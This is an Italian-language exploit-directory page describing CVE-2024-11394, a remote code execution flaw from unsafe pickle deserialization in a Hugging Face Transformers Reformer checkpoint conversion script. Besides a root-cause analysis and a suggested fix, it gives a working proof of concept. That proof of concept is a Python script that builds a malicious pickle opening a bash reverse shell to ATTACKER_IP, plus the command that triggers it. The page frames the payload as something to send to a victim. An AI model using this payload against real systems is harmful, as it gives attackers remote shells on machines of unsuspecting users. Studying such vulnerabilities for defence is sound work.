Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/piyush-bhor/cve-2024-11394
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSicurezza dell'IA
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

Dettagli tecnici ed exploit per CVE-2024-11394

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-11394

Vulnerabilità di esecuzione remota di codice tramite deserializzazione di dati non fidati nel modello Trax di Hugging Face Transformers

Panoramica di alto livello ed effetti della vulnerabilità:
La vulnerabilità consente a un attaccante di eseguire codice arbitrario sulla macchina ospite fornendo un file reformer trax checkpoint malevolo allo script convert_reformer_trax_checkpoint_to_pytorch.py nel repository Hugging Face Transformers.
Se un utente ignaro utilizza un file checkpoint reformer trax di terze parti, l'esecuzione dello script convert_reformer_trax_checkpoint_to_pytorch.py porterà all'esecuzione remota di codice (RCE) sul sistema della vittima.

Il Prodotto Vulnerabile

  • Prodotto: Hugging Face Transformers
  • Modulo: Reformer
  • File: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Versione: Ultima
  • GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

Analisi della Causa Radice

  • Descrizione dettagliata della vulnerabilità: La vulnerabilità deriva da una deserializzazione non sicura di dati non fidati. Lo script utilizza pickle.load per caricare il file checkpoint ed è vulnerabile all'esecuzione di codice.

  • Flusso del codice dall'input alla condizione vulnerabile:

  1. L'utente scarica un modello reformer trax di terze parti.
  2. L'utente esegue lo script convert_reformer_trax_checkpoint_to_pytorch.py e gli passa il file checkpoint.
  3. Lo script convert_reformer_trax_checkpoint_to_pytorch.py deserializza il file checkpoint ed esegue il codice malevolo.
  • Punto di iniezione: La vulnerabilità si verifica nel punto in cui viene chiamato pickle.load. GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • Correzioni suggerite: Sostituire pickle.load con yaml.safe_load(yaml_file) o json.load per prevenire l'esecuzione di codice arbitrario.

  • Istruzioni per l'esecuzione del proof-of-concept:

  1. Eseguire exploit.py per creare un file pickle malevolo malicious.pkl che creerà una reverse shell sul sistema della vittima:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("File pickle malevolo creato con successo.")

Nota: Modificare ATTACKER_IP e ATTACKER_PORT prima di inviare il file alla vittima.

  1. Creare un file di configurazione config.json:
root@kitploit:~
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. Eseguire lo script convert_reformer_trax_checkpoint_to_pytorch.py e passare il file malicious.pkl a --trax_model_pkl_path:
root@kitploit:~
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

Nota: Il pytorch_dump_folder_path può essere impostato su qualsiasi directory.

Link per il download del software:
https://github.com/huggingface/transformers/tree/main

Scarica lo strumento